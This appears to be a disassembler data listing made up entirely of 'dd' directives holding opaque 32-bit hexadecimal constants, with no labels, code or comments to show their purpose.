dd 1A58E097h, 0CA7B24D3h, 600C4030h, 81B89925h, 777DCFCAh
dd 7868EAE7h, 0AC7CDCA1h, 0B3F54400h, 5C2AF231h, 0D4350126h
dd 482B8785h, 1AA8241Bh, 0A9D38312h, 4CEDDC01h, 0C45253E5h
dd 95E0908Ch, 0B1BEF11Ch, 317B938Ch, 94120B88h, 44187390h
dd 26CF5B10h, 49BCE677h, 0F839F580h, 3800910Eh, 0FA4298F0h
dd 86D28Eh, 0EAF4D436h, 0C07726F6h, 0E8FCE834h, 7B459C00h
dd 7FE48F78h, 7C020D9Fh, 0D8B019ECh, 0CB207391h, 0E1F839A4h
dd 538D67Dh, 5FA7D791h, 8CCD04B8h, 2A7480DDh, 4009ADE2h
dd 2733D79Bh, 36A0D8A4h, 0A45687h, 0F73DA548h, 0CC5CF119h
dd 49B87900h, 0FC131F34h, 9F78CB10h, 98323C21h, 87E43404h
dd 28480B18h, 5542520h, 0E39C8822h, 74CC47FFh, 0C90DF495h
dd 0E0032ECh, 0E03F31A3h
dd 0C150839h, 9060989Ah, 0DC8C501h, 0F2D48D81h, 1816BAE3h
dd 1408C728h, 117E820Fh, 0E4905413h, 640A901Dh, 0E0BB8D25h
dd 6C5FD683h, 0C481F0C7h, 0DD4D8017h, 2092F331h, 4C60D4BEh
dd 82F4AA69h, 63A6CFCh, 7E223872h, 0A9A78B0h, 941F95BEh
dd 39F21868h, 150B0EFCh, 4303AAh, 7ACF3292h, 1F581CEFh
dd 0C3F95C9Fh, 37CCA12Ah, 559091F1h, 0C704484h, 81770022h
dd 3783D40h, 802E2B3Fh, 79F83B4Eh, 492CC0C5h, 834E4C1Ch
dd 2C15B07Bh, 426CDAA8h, 9C987A0Dh, 14C8128h, 7B8B04B0h
dd 50800F6Dh, 4D48D9F8h, 0B00344FEh, 850EED64h, 62CE5905h
dd 0F0249631h, 79648015h, 5046A0B8h, 6F2E810h, 456F83D4h
dd 99050A60h, 8DCD378h, 0D814F680h, 8D4D09FCh, 3EC0A55Fh
dd 740B58CCh, 88460422h, 80A01290h, 5CE493A8h, 17236580h
dd 5B87C7E5h, 10CA589Ch, 84A97E07h, 0D45D3ACh, 0C050424Eh
dd 8B00FF30h, 48B31F83h, 2821E482h, 2E4F10BEh, 446D061Fh
dd 0F30F76Bh, 3420D263h, 2A803DDh, 1AEA410Eh, 0A4C4F0F3h
dd 3503CAF4h, 0B0B531CBh, 9C0DC81Ch, 59C30275h, 41F4172Ah
dd 0FB869C82h, 0B7DF4520h, 2693030Ch, 2CFFAB8Dh, 2ED7D815h
dd 0B18F00E4h, 0D3EAEDD0h, 43F40F95h, 836024C7h, 0D517AD2Ah
dd 79EEF102h, 0F0FF7D8h, 498B93C3h, 2878B80Bh, 5AC29ADh
dd 0A461F098h, 0C805A417h, 0D200340Ch, 85693C48h, 0BBBCE9h
dd 3121FC07h, 35B9B0DDh, 0C0159F00h, 33E3A35Fh, 9640C986h
dd 0B1FF1810h, 88EA1031h, 9A207A1Fh, 2B28121Bh, 0CA45EE4h
dd 0D3319AF0h, 0E92DD730h, 0D698C6h, 27AFB973h, 408C478Eh
dd 0CE33Eh, 364FD26Ah, 9081762Eh, 52F72008h, 19CE6017h
dd 0A091848h, 41E88285h, 3FEF73h, 1330DFAFh, 0A8078Bh
dd 3D14FC94h, 0FD027653h, 8D7AC698h, 0E0284090h, 0D8E94184h
dd 712476D3h, 4C40ECF0h, 0E8995795h, 0AC260047h, 0EF072AF4h
dd 1D00C10Eh, 51926FDEh, 0A3CB1D3h, 1BB9524h, 0ABD600E8h
dd 0CBF105Fh, 0D197FD01h, 0BE930B2Eh, 0E0DEA2EDh, 8344A424h
dd 7BFDC8A0h, 5A842FDh, 0B04C4862h, 4C361820h, 0BF25FC67h
dd 0A4BBB003h, 71032793h, 9532C9F9h, 20390460h, 175C7Bh
dd 7F8B9073h, 2000833Dh, 1CB79F7Eh, 1A97A506h, 0F02F8531h
dd 35AD248Eh, 0C47329h, 0D202C8E4h, 2C738067h, 0BB94D7F6h
dd 0C082AF20h, 99FBBC40h, 82C77B81h, 8588E162h, 0E6000062h
dd 9995A4D8h, 4401FE56h, 0C542273Ch, 5830ED3Ah, 4989491h
dd 55F8820Dh, 50179FD8h, 3BC4A837h, 4098EF4Ah, 8729653Dh
dd 0C8B1CE28h, 90B56332h, 0D07844D9h, 27B10440h, 94B10018h
dd 38C1611Fh, 75D07B87h, 67DDE8ECh, 95F1BE61h, 0C8353329h
dd 4B0C8026h, 5F591384h, 79A55B0Eh, 0E00E5347h, 942CDF14h
dd 1E12CDA0h, 18C72F94h, 97D28E1h, 47BF1D01h, 10408688h
dd 48023087h, 3DC11C96h, 70007911h, 257F5D02h, 1C004283h
dd 34A12214h, 30790FA3h, 13296D28h, 98A2FFD2h, 3ED04CCBh
dd 18050714h, 59FC0BCDh, 0CC0A9416h, 79849463h, 6C96D5CCh
dd 33741838h, 0DE7AC859h, 0D82A08A4h, 0B485C029h, 0F119280Ch
dd 79350CD9h, 0B19174E0h, 87B810Ch, 3C9E785Ah, 0E09AC17Dh
dd 60602170h, 0DF899C7Bh, 0A833B060h, 306B9118h, 82805E5Bh
dd 71C81C16h, 576803Dh, 4F3F0DD5h, 1749B001h, 7242743Eh
dd 1F4ED08Eh, 604163ECh, 0EBF0DD12h, 0D8662840h, 393462F5h
dd 0DA80597Fh, 588656CCh, 2A51A304h, 1F22C298h, 0D80210ADh
dd 2765CC44h, 6880B1F1h, 0F53EBD0Dh, 48012373h, 0BA35D14Fh
dd 0B0E47FC9h, 0E62B1E7Eh, 5551C047h, 4AF9DE95h, 921E5300h
dd 60690293h, 0F03D005Fh, 5744841Ch, 0E8092CAFh, 154E98h
dd 682F40C2h, 0BC011DB2h, 4DF4008Ch, 9391AC57h, 93A3A6E0h
dd 8412401Dh, 1DC98280h, 6ABEE8h, 440CAC0Fh, 15D15345h
dd 0AE88F707h, 1E60BAF4h, 65C191h, 3E7057A7h, 5AD510E9h
dd 1DD38209h, 1E6CE9E6h, 95AF045Ah, 1DEC01F8h, 0C97C54D2h
dd 0E99D820h, 0CB41179h, 0CF12EEE0h, 0D8004610h, 194DCEAFh
dd 3F86EACh, 9A66A65Eh, 4100240Ch, 0B1D6D156h, 7BB7BBh
dd 453B11ACh, 63EEFE61h, 39B68B1Eh, 98FC00F9h, 6772F2FAh
dd 383E4096h, 0DE516210h, 6B7950Eh, 45400780h, 0C00DA3Fh
dd 43AA8BBAh, 0F01951h, 72F98FE4h, 250B5D56h, 62C72F0Fh
dd 0B8D6807Dh, 26097497h, 12383DB1h, 0BA942E9Dh, 0B010FA12h
dd 2C72DFD1h, 7CB79800h, 453107ACh, 0EED61E4Ah, 0CEAEC0F7h
dd 0A7F25348h, 9C028A00h, 0EF1B701Ah, 6337001Ch, 2621924Fh
dd 11744ECAh, 0D8ED0D07h, 0B8A0045Bh, 5DF394h, 0A1F864C5h
dd 0EE9D5CFEh, 1A409A61h, 0C64CD5h, 126DC9ACh, 0ED0009E8h
dd 0AD247EEh, 74F18F49h, 1F7D02h, 6C5CFA92h, 0B91A705Bh
dd 48D5170Fh, 0BA268382h, 0C212E8BCh, 8CFF5909h, 0C4A8ABh
dd 8423ED07h, 2CE4574Eh, 7B99AD1Eh, 0FF7DB7C0h, 40CF3645h
dd 0F500E108h, 0A61E2263h, 3682C92h, 0FB3E6B5Bh, 10E83B23h
dd 260019D7h, 0AF7787C3h, 3EE6393Dh, 0BD809746h, 5206F18Dh
dd 0A100EDFCh, 56696057h, 0B90D9Fh, 4D5BD227h, 0C61D42D5h
dd 2A22B700h, 34452C7Fh, 48EF01CEh, 0C4F8F189h, 0FE92DC54h
dd 676AEC00h, 0F2B94F5Eh, 0F883F83Ch, 0BDB13E18h, 824C880h
dd 97562C3Fh, 22AC2258h, 9A2502B8h, 209D5FF8h, 4378892h
dd 0B83560FFh, 5B00A4F3h, 514BF1C0h, 396F0E54h, 18290452h
dd 69005434h, 3D7067A0h, 15F524Bh, 0A451A518h, 0CD233860h
dd 0EF1C589Ch, 9DB3BC1Fh, 0FB1E681Fh, 7CC00116h, 3EDD65EEh
dd 488B877Eh, 0D8624F14h, 4500B0DAh, 8437DD4Dh, 8FCB5C2h
dd 18A1BB2Dh, 7A346025h, 887500DDh, 8B9A76FEh, 18C0360Fh
dd 81111905h, 80804E43h, 0F16AA210h, 92ED5405h, 54002C8Eh
dd 189FBCB1h, 0CD160539h, 627FF6D1h, 0DF04FF1Ch, 7B1E34ADh
dd 0F2B28023h, 29CAA3FAh, 1C1C4C3Ah, 0CB407F67h, 935695A9h
dd 40ECBE8Eh, 5FAF747h, 444AE100h, 97E05394h, 33090007h
dd 0DD1E1BACh, 2C5EFD57h, 80A6A448h, 0C6BDA997h, 810BEE85h
dd 68189CE0h, 0C0FE80E4h, 0B0990861h, 782965E7h, 0E979B458h
dd 0EB24D019h, 0AC50E00h, 6B92A1CAh, 283A44D3h, 70799D60h
dd 40844FCEh, 3E00A21Ah, 90F44137h, 33A9A03Ah, 44084297h
dd 3F572100h, 18B9BB41h, 0A4D918F7h, 0B3904824h, 1E8AFB22h
dd 0E5EB93A5h, 8C768460h, 0A1029000h, 77B592FDh, 0C7B84AD8h
dd 107B67DCh, 0FAF04D18h, 0EFF62207h, 88F72554h, 838D3E00h
dd 609F451h, 34B87804h, 91E470F3h, 47ED6F00h, 0EE22E30h
dd 7876001Fh, 0A2143681h, 0A16A5FC4h, 0F9115480h, 7CDD6380h
dd 448C5887h, 4B0043F2h, 7F3FD4DDh, 0EA2DE86Eh, 6482020Bh
dd 0C29A7779h, 34186940h, 3C9EDC24h, 0C17E4280h, 70A42362h
dd 0A1D5F22h, 80E83A50h, 1BC18668h, 0C8001975h, 0D23BD6E2h
dd 60F12F31h, 37049905h, 8B0AC517h, 7C8C7152h, 849C5781h
dd 0C42401E6h, 0DB0300A4h, 3419772Ch, 69658002h, 38A08708h
dd 0DAFB01BAh, 0AC99B1BBh, 20C6E9DFh, 0D301C0ACh, 24329047h
dd 0C4422214h, 0E1E0A73Ch, 0AB2BCh, 0C4A3FE68h, 1807F3F2h
dd 5992E730h, 0FDCBD8h, 6F755608h, 5209AE0Dh, 5F4B300Fh
dd 602DAF79h, 0D589B198h, 3D3A06A7h, 603B9628h, 268284B6h
dd 0A039D73Fh, 7137608Ch
dd 0D849072Ch, 60A51FDEh, 62337D2Eh, 18688800h, 23675065h
dd 0FF220464h, 0B9CFD0B9h, 0F0AD1408h, 0CE838890h, 772BDA01h
dd 20F21911h, 0C4DAF8BBh, 0E876071Eh, 8D6CD300h, 1226E5B0h
dd 2F70BC5h, 0F6EB40DCh, 0AA334460h, 75040838h, 145A9524h
dd 0EF462CA8h, 82DD4902h, 80674887h, 0DD514100h, 2092E4h
dd 0A153ABE2h, 0CB6B3A94h, 826080EFh, 7BFD1495h, 8590A957h
dd 7AD0402Eh, 1CA77503h, 0B5C6610Fh, 234495DFh, 0DD4C03F2h
dd 8052877Fh, 540EC070h, 3EF1DDh, 75D31B5Ah, 52E1F7B5h
dd 15014E13h, 8689804h, 89820D42h, 0C0979CA0h, 8097EC38h
dd 76D94F4Ch, 83E42417h, 944308B8h, 1B5FD700h, 338C30DBh
dd 14506B78h, 209432CCh, 9702DA95h, 2E0099DEh, 6F732914h
dd 0E8019734h, 263E1806h, 0C18002B4h, 3154234Ch, 48621041h
dd 0ED1600C1h, 89A78A6Ch, 2704EF94h, 1B83935Dh, 2A0F14ACh
dd 0B2038BB3h, 5680D81Eh, 2093499Ch, 29DAF603h, 8D62CC77h
dd 0DAEEC120h, 237900AFh, 8F7F733Bh, 0FCE8D7ADh, 0B5839012h
dd 0BB324C40h, 7405CED5h, 70909598h, 0EF2AA052h, 0B600D802h
dd 921BCCBCh, 9E1ED6Eh, 3D8A5D93h, 0CF007859h, 0E5911826h
dd 2F1C024h, 4C953048h, 0E7797600h, 2C647FF7h, 0F6237C17h
dd 0EBBD1425h, 0CD05C8B2h, 1227842Bh, 235C3AC0h, 20360035h
dd 0F327D534h, 0AB134C98h, 28A04522h, 7920B171h, 0B01840h
dd 0E731BC21h, 28770974h, 48F7CD2Ch, 36605444h, 9023F541h
dd 0A1142h, 59413E5Eh, 7C078B9Bh, 11D4912Fh, 296407BFh
dd 56E45B4Eh, 8AC814CBh, 60C9A3C0h, 351A00CAh, 7BC43B80h
dd 0A8A0300Ch, 0CE297269h, 29015851h, 2A90F641h, 59883F18h
dd 52410031h, 0D7ECE685h, 432D1F29h, 0A0C4088h, 415B077Bh
dd 0C500EB4h, 0D6005AA9h, 0A97F91CCh, 5C392D3Ah, 45012FC1h
dd 0D7941E6Eh, 98F8844Dh, 0F4BCA4B8h, 93D48B29h, 0AA50F4D8h
dd 0C3094E05h, 0AF81B78Fh, 203AC7A2h, 0DDEB3C94h, 5D121D01h
dd 0E68F0BF0h, 0A46798C7h, 14B87A44h, 0A4B387E7h, 7F2E4700h
dd 0DF418274h, 0FDF13115h, 0F34CB8h, 3A71191h, 0B2C8EEh
dd 3680B10Dh, 2878F4CDh, 486D052Eh, 850A038h, 2708E082h
dd 800E1713h, 0B7A9081h, 2C01A395h, 0F791E41Dh, 2EC54480h
dd 614866A7h, 3C7C2EA9h, 0D7B79083h, 9D6904F9h, 0EC8E43E3h
dd 0BCA87B1Ch, 280046AAh, 4CF409A7h, 0F6B41ADh, 0EE547E98h
dd 0C005D3C9h, 0B20CC686h, 0EC122877h, 0ECF4E687h, 0FAAF0004h
dd 681CF0E5h, 0F201C894h, 0B8796FF7h, 8100EFDCh, 1EFC9058h
dd 7CD37426h, 39289883h, 8620261Dh, 31080933h, 60221002h
dd 0E116E05Ch, 917140A0h, 18467998h, 8D13EEBh, 950ED687h
dd 0CF1782CDh, 9885EC84h, 0DB080290h, 0C421772Dh, 0FABD408Eh
dd 362D4DAh, 7B873F18h, 0A8023BACh, 4F9330FDh, 5CF0912Bh
dd 1574D1AEh, 997EBCF8h, 183779F0h, 8DBA002Ah, 0C724F4D6h
dd 0DE007FD9h, 0EF7C7947h, 1997CD71h, 7012FCE0h, 0D8AC4C1Dh
dd 0AA0C20B5h, 0FACCD4h, 68140870h, 1D53D6Ch, 0E72BF209h
dd 10B0F2C6h, 481AA8B8h, 52C310E0h, 9840CC52h, 0F5048C4Eh
dd 697736DAh, 0ED02C438h, 18EA30DAh, 4D5601E5h, 0B2CC33F0h
dd 5DAA3041h, 0B70010F0h, 9DA84575h, 60E74982h, 79D591FDh
dd 11035CB4h, 5429C64Ch, 42878225h, 4A5C41FDh, 41082C18h
dd 0C4529103h, 34544043h, 0B845C41h, 0CCC0B79h, 3884D450h
dd 91BE3500h, 0F3D1A42Ch, 2F0B228h, 0BBA5FB59h, 0E440043Bh
dd 3FFC2387h, 94B140C0h, 922E5331h, 2EC46F0h, 8781DD46h
dd 0A8E750h, 0FBDD4E10h, 820BC559h, 84D2B1D4h, 0E4908B7Dh
dd 0E7A81407h, 0AAF26882h, 0A062776Ch, 0EB44DCC7h, 70C91761h
dd 0AB0BDC12h, 52031CEh, 888274D1h, 0B0F8C8C1h, 6465F528h
dd 7472E6C9h, 7F299C00h, 0CA2207A0h, 0D831E400h, 6FE574B0h
dd 2A360095h, 513E8349h, 0FC6BF0EEh, 5B550179h, 0E3F03368h
dd 11E5007Fh, 0D7064D15h, 7E4881F6h, 8C91E8D8h, 7FC905Ch
dd 2693C3CBh, 0EB8D0BA2h, 0A0F4AA14h, 0FD8CB198h, 0C4CCA769h
dd 0B81260F6h, 2BF004Dh, 84C62965h, 191C44F9h, 0EE447B09h
dd 1E05F04Ch, 6900C1C0h, 0F8F1003Bh, 1D08A93Dh, 75AC013Bh
dd 0C6C7414Fh, 1E9E2060h, 48DF3380h, 88E8C4BEh, 7DB9018Ch
dd 4C1B2F0Eh, 8C4ED4FCh, 54F221D3h, 0CA3CAB00h, 7DFB9B99h
dd 72826700h, 2A241B8Fh, 7E4C012Ch, 0D8775CEAh, 5868396Ch
dd 486B4A34h, 0AD7C4800h, 1892A69Ah, 895CDD05h, 98BD94EBh
dd 0CC683B32h, 7600D858h, 0B3F1DAFDh, 4EA02664h, 0B7E0C05Ah
dd 9C7A677Eh, 0E82BCE0Bh, 3FFC910Bh, 0C1088118h, 0C44C2347h
dd 495D4038h, 2C19F1C1h, 85835CAh, 0A4F0BCh, 0E0502B90h
dd 38852113h, 2D18E9D9h, 0A55C6501h, 9B163DD4h, 0ED030C70h
dd 4B30D205h, 0E1412B30h, 0B0636321h, 41335380h, 680C4D73h
dd 0B0CA255Bh, 0E02E418Ch, 0C9E0F95h, 110442Fh, 219C3BF9h
dd 0E335B911h, 77E6A1B7h, 2644203Ah, 29585380h, 70F804h
dd 877DDD62h, 44864970h, 4A0044F5h, 0A8E341DDh, 0B5E6782Bh
dd 2C3C90A0h, 76792830h, 7F2D8100h, 0C8C6846Dh, 0E6792C43h
dd 3574030h, 64027C6Ah, 54302125h, 40CCD6EDh, 3B2882F3h
dd 9E166800h, 4962C943h, 0A56B07EBh, 7912D050h, 0AF8094FAh
dd 91FAE910h, 848CCE48h, 890A4D8h, 658476h, 41B47EC7h
dd 587F980Dh, 0F679B8B9h, 0BB1F0A18h, 11C977AEh, 0D0938B0Bh
dd 0E7E41024h, 582F4BB4h, 0F300E923h, 349AE4B3h, 0B5ED3DCBh
dd 5C2B79A5h, 2E0090D9h, 0FC09FFADh, 0F0FD007Fh, 17C02F84h
dd 70010138h, 4D652813h, 51DEAB8Bh, 184571DCh, 86C3000Fh
dd 87C82619h, 40692C2Bh, 764C02E1h, 9096209Ch, 0CC940383h
dd 4813571Fh, 0DAF70860h, 0F9771328h, 308A33h, 0C2DAEFBEh
dd 0AEB2FBCh, 716F796Ch, 0A465658h, 7A75F904h, 7F4C1C7h
dd 0D8CC04A1h, 1167009Bh, 68913E4Dh, 0A90B3FD4h, 0F8B6820Dh
dd 1370985Ch, 0CEFF2CF0h, 0C0F5C834h, 0E92BD262h, 3F939217h
dd 5AEEE8A1h, 0F7FD0148h, 0C432EC81h, 99573080h, 55B2B900h
dd 1D3A4F82h, 3A28D209h, 352360h, 0AE1AEBF8h, 9202B9CBh
dd 0C0E081B5h, 429CD4CEh, 30841856h, 0C1826040h, 84232D46h
dd 5C00E816h, 7545C14Ah, 566F95Bh, 0BEC0990Ah, 0CE54807Fh
dd 0E710EB6Ch, 95169D20h, 8FF0B41Fh, 0A2377327h, 0C01863F8h
dd 8117B268h, 2900F385h, 0F911E1BDh, 0BAC64Eh, 0D38F5AB2h
dd 0DB0F70A5h, 0A49B2C2Eh, 5CE0E81Dh, 4E23E802h, 0F7413801h
dd 68233290h, 41305883h, 0D72D09A8h, 0DB8D440Bh, 0B1087289h
dd 48041FF0h, 0D80FCE7h, 0C16C7608h, 36605EBh, 0D0CCB806h
dd 0D94F7478h, 0E0BC302Dh, 80F0F838h, 189287EFh, 3078FE2Ch
dd 74CCFB45h, 0C27A0991h, 188088ACh, 0DF4C7E05h, 0A6A4CA2Eh
dd 536B1A02h, 3E9885A3h, 0EF1824B2h, 0CBEE41F0h, 23A0F900h
dd 0C0885CD5h, 102C00FDh, 5318E0E7h, 1E128DA8h, 348009DDh
dd 0E1289603h, 0C07E499Fh, 256AA89Fh, 31077C7Fh, 79185F55h
dd 78A02B12h, 5F07E69Ch, 56884B98h, 88C4C865h, 0D1E89760h
dd 210B0FE6h, 606BC526h, 0DC24E34h, 0C0820E85h, 0A2EC6331h
dd 0A547308Ch, 57E1EE01h, 2943D63Bh, 6584207Eh, 1200E085h
dd 0BDBEA340h, 0F61E48F4h, 20954FE2h, 0F3D65A00h, 6C08DC64h
dd 15277E87h, 652995F1h
dd 0B1919850h, 0C209FABAh, 8E534311h, 6F4F8B60h, 17BE4100h
dd 1B9805DAh, 50A30111h, 9532B77Ah, 65042486h, 0E3932900h
dd 0F0B43A4Eh, 703E89F1h, 0E8405070h, 20B09880h, 0CF143BFCh
dd 2E81FD6Bh, 601F787Fh, 0A8438102h, 152CD915h, 791CD0C2h
dd 848767C0h, 0D6CA707Eh, 6A3A9A5Bh, 0C420DA0Ch, 49180651h
dd 7F80FC35h, 9C2365C1h, 6B3B448Ch, 0A9C18703h, 0F03D5D4Bh
dd 0F876E20Ah, 0FEF030F4h, 0AA8C38C9h, 797CD61Eh, 0CF1890C0h
dd 0FB6B10h, 663468BCh, 845DDBBBh, 99462E00h, 0FD2A102h
dd 256705FEh, 0A28A47BDh, 0C031C8DCh, 2349C183h, 0E0E07C5Ch
dd 58C14B5Fh, 0FD0BE1DFh, 0DC467A45h, 0F4C8965Fh, 7931727h
dd 0B2B8643Ah, 3346B20Ch, 816C35D8h, 0E8F0032Fh, 0E01D9F80h
dd 75A81EAAh, 2B2883DEh, 0D02E13B4h, 0F708F4F4h, 7E8094Dh
dd 0D823B901h, 85208C2Ch, 0FB6111h, 0F947A7F8h, 3AFEDB19h
dd 0D805E60Eh, 98F6B14h, 58CB7E4h, 40FAF16Bh, 4EECF5D8h
dd 0E1009429h, 22E84635h, 24FB062h, 5A9FD741h, 0F0C0A2B1h
dd 2588AB15h, 0BF4F708Dh, 0E8C16C09h, 0D5908207h, 7B3C9F83h
dd 198A5914h, 1F1F9D20h, 9470EC0Fh, 2010900Ah, 0F14C7817h
dd 95628080h, 0D53B5Dh, 4FC65EF2h, 4D0C0A7Eh, 0DC0BF579h
dd 0D28580DEh, 99E60A8h, 6E79644Eh, 91909254h, 9D74AD78h
dd 324CB650h, 58805216h, 0EA23FC2Fh, 8FDA7900h, 12073C89h
dd 173EA8FDh, 468B4E8h, 30D71F2Eh, 1B8A1E1Ch, 5B029839h
dd 0F32FFE25h, 4A0473C8h, 4A54CCB2h, 0B3D3A481h, 0FCC82903h
dd 24954F0Eh, 0F0B4DC90h, 45CB0906h, 49007F9Eh, 0C1C66C10h
dd 60468200h, 3C188D28h, 31471430h, 9C908097h, 0C2787313h
dd 7CC076A4h, 7BF6F247h, 0C16AC5Eh, 4123283Ah, 0D1A2D600h
dd 0B3787h, 4154FA52h, 0A6C6950Fh, 5F14DE5Ch, 0C4A30C42h
dd 1274FE67h, 0C4D49A68h, 9E87305Ah, 0FC642E40h, 1F2CE678h
dd 872FE8B1h, 115FC4D5h, 7FC38D23h, 7BC5E002h, 0B5E85048h
dd 33E86CACh, 0C17D048Ch, 626C2363h, 85692036h, 7F0044C1h
dd 0DC875CD2h, 170B9452h, 4DFF21Dh, 21F134D0h, 27102F80h
dd 0A54F4BC5h, 42485444h, 97BD041Fh, 5045AF92h, 88C1AF8h
dd 0A2A9D2B9h, 0E9B30038h, 37C10ED8h, 0D6B10758h, 0E0E84436h
dd 4DA538F2h, 0D1B31D01h, 8FE648FDh, 7C4C4181h, 0E42BD0C7h
dd 9F0045AFh, 2E6EDA06h, 351B880h, 2782027Fh, 81248C2Bh
dd 6B1247FDh, 961774E8h, 90F0B4B2h, 255ACA00h, 10438206h
dd 0A858A93Fh, 20D8F815h, 8B990B27h, 8081A5FBh, 0F2953305h
dd 23F91E00h, 8284AAB4h, 598BEB08h, 18F3D9B0h, 0C00A5068h
dd 101A43C8h, 852C17F0h, 42434018h, 0AE023251h, 951C6ECBh
dd 34ECD083h, 0E2C0C501h, 33F5F204h, 4BF208E8h, 0B839912h
dd 20B70A8h, 78C11862h, 84818110h, 2EF00BCFh, 1F5C922Eh
dd 87441867h, 0EB217960h, 0FA3F4602h, 87B19293h, 0BC1C8CCh
dd 84694264h, 88627310h, 0DD47C2EDh, 2BB854E1h, 0F20FB42Ch
dd 877A13DDh, 23083AFFh, 38470034h, 0AD07FBB2h, 0E2645128h
dd 94AF692Eh, 0CCEA03Bh, 2CD79029h, 300BB39h, 0CB26C07Ch
dd 0ECEE52h, 8FBF6FC2h, 1992D77Bh, 700F9130h, 7C2B49D3h
dd 296401ABh, 0AFFD96DCh, 0B8B42C07h, 0F3268C39h, 0D7805425h
dd 0FDC86586h, 427B148Ch, 800FE403h, 0E3C1396Fh, 60CF8F9Dh
dd 60A88898h, 71C0A8DCh, 0BCAAD113h, 83D0B157h, 0F5473B42h
dd 0DFB96BC3h, 0C37B7093h, 0D8972909h, 8F58268Ch, 0D14891D8h
dd 53A1839h, 97939146h, 0F458F44Bh, 0B042EE43h, 1B13FC4Ch
dd 1C442198h, 9DD70019h, 0FDFF01CEh, 52B38B9Ah, 182D2F0Ah
dd 0F6AC203Ch, 3AA028Ch, 0E72D630Ch, 4900E4DAh, 52FC2B01h
dd 461B76h, 0CD6A263Bh, 0B4CCA87Eh, 0AC3CD206h, 8331B5E7h
dd 3008C7B8h, 9FC61E8h, 683E042Eh, 7018A246h, 0CD1F8528h
dd 24F8F052h, 0B9658583h, 67984FD0h, 0BC5E3D26h, 8861481Dh
dd 64249C71h, 0AE1281Eh, 628C3CC7h, 400AFF10h, 79F09601h
dd 887C5213h, 23CC2B97h, 9A4A0541h, 70E2C048h, 9E032864h
dd 39390DAh, 3B781244h, 0A2DCF39Ch, 37BA33F3h, 343F8CC0h
dd 71315425h, 0F14F0060h, 0AE9FC126h, 5877F613h, 0F523142Fh
dd 0CF069400h, 123EAB64h, 0C0D0B877h, 2F5D7660h, 886C9301h
dd 922350Eh, 0DDB8832Ah, 5581902h, 602E9CDAh, 80FC900Ch
dd 0F8129674h, 540578F7h, 0D01243C8h, 7600446Fh, 4651F462h
dd 4E02110Ch, 0CC9197F5h, 0C3B4E15Fh, 567ACC63h, 0BF03440h
dd 6709DC60h, 30AD662Ah, 920C8508h, 0EC630040h, 9EB0EABEh
dd 3600A3B7h, 188054B1h, 5233FFCCh, 0E448CC9Ah, 1FF9A831h
dd 0DC49D6DDh, 392860CFh, 4D82C18Ah, 2DC0202Ch, 4A910241h
dd 841695h, 5413555h, 1926640Dh, 4479A802h, 0C075FA1Dh
dd 88E988A0h, 78DDF753h, 0CE018D90h, 31483770h, 8392EC79h
dd 509D7B27h, 952810A4h, 6B8B1DCEh, 8143D38Fh, 36826E06h
dd 0F5FC5888h, 0ED8C5280h, 4B7B794Ah, 251CC228h, 23F6C4C6h
dd 0E6B1A327h, 5E749668h, 39003A46h, 415B1E11h, 0B30C524h
dd 2379C88Fh, 0C03E5DD4h, 2F58D812h, 3F223A8h, 0D47B1FEDh
dd 0B6D026E5h, 44886495h, 0D9029761h, 0F2D6728Ch, 0D8107564h
dd 2DF486BAh, 4485DA00h, 34BC2160h, 0AACC0090h, 4F9D9358h
dd 2F12A8C6h, 0F8BC276Bh, 0DD1D600Bh, 0CCF1A889h, 0E0511518h
dd 4C84B86Eh, 75B1686Dh, 0ECE42C9Dh, 31FE8C89h, 0E211FB00h
dd 5218CF08h, 381D3295h, 6856F679h, 4BCBD880h, 3EF56B7h
dd 0DB60112Ah, 29001284h, 0E47C7783h, 0AB4326h, 64FB21DFh
dd 0DB198F5h, 0F815BE12h, 4BEC1408h, 398AA099h, 0B36903A8h
dd 0E01F681Bh, 0A17F137h, 829576ACh, 4087E47Ch, 0BE930A4Fh
dd 0EEF89049h, 88B8949Ah, 0FF654690h, 75E88C4Eh, 20C9D3E8h
dd 23F02F2Fh, 18F70040h, 0B0816C3Ah, 0ACE87D62h, 58641A27h
dd 0FEB2202h, 0B9F97A84h, 0EA14C468h, 35DB420h, 0E5DA0078h
dd 0B9C5C8B6h, 53D4929h, 128C8038h, 0AFF3D044h, 0ED1825E0h
dd 259060FAh, 902C52F1h, 0F0B0C22Fh, 963C5E1Bh, 2BF4C0F3h
dd 731892F6h, 7A109F0Fh, 2E3A78DDh, 0A4382D3Fh, 0B117E1Ch
dd 0C5100A3Fh, 0D26A8420h, 39B8102Fh, 2F9E7382h, 37B33A22h
dd 7B9C3911h, 79644802h, 90608283h, 0D117990Bh, 9004CFA7h
dd 500409Bh, 16E9433h, 51B0BB84h, 9D687C29h, 9650FC00h
dd 0A0E5D8F6h, 8109B4D4h, 568269Ch, 281CC0A1h, 0D88A4CD5h
dd 781C274h, 204AFC7Ch, 9F6B0860h, 7A282E63h, 50B8ACB0h
dd 0FFCD2609h, 3B7964D1h, 65095C18h, 48DC80AFh, 79D230h
dd 0E1F663BAh, 153C07EAh, 0DF471900h, 338451F1h, 5F2E0478h
dd 0B82FDB9Bh, 4900740Ch, 5CBFE731h, 2D2BA633h, 0C410FDA3h
dd 2060D3D2h, 78096A12h, 0F24E4B3Eh, 0D8730CFCh, 0EED65039h
dd 1FF812h, 36818D79h, 22641B5Fh, 7D1D0774h, 0A97FE7EBh
dd 0F479D459h, 0AD00AE18h, 8A2BD6EBh, 9E1F628Bh, 1D9643FCh
dd 9E0591B6h, 49FC0CADh, 37D8E081h, 428CF701h, 85033CD4h
dd 5579C0EBh, 0CF721240h, 0C328A4DCh, 0B9BFF700h, 0D2252ACBh
dd 8FDD2C24h, 5A29805Ch, 9C7EF31Bh, 8975AC00h, 0FD47CED9h
dd 92689E76h, 0D3D409ADh, 2814CC21h, 0AB8BD421h, 0F040F65Bh
dd 7C4E0B56h, 5F1A0066h, 0EF5AB11Fh, 0AD04B5E5h, 45FD9D81h
dd 0D49555C0h, 87C709A2h
dd 0B07CD843h, 0EE4F2704h, 211088C2h, 24FE830Dh, 0D0CB2A60h
dd 79F85901h, 0E81889h, 0AB9535BCh, 5F2BE116h, 5C493124h
dd 10D1CB18h, 0C2E43EFDh, 0E677EC86h, 99984193h, 558C3Fh
dd 0EDE84114h, 28CFD952h, 7548357h, 119DDF46h, 0F7B1D0C2h
dd 5F4C2CA7h, 7BFD1288h, 0D6D4E0D0h, 4FBE0441h, 0EAA7832Bh
dd 94AF6840h, 438A9D7h, 3C0B1F16h, 7C9CAD2Dh, 0EFF4419Fh
dd 27AF507h, 77393ECh, 570400F4h, 70A9709Bh, 0FAF823ACh
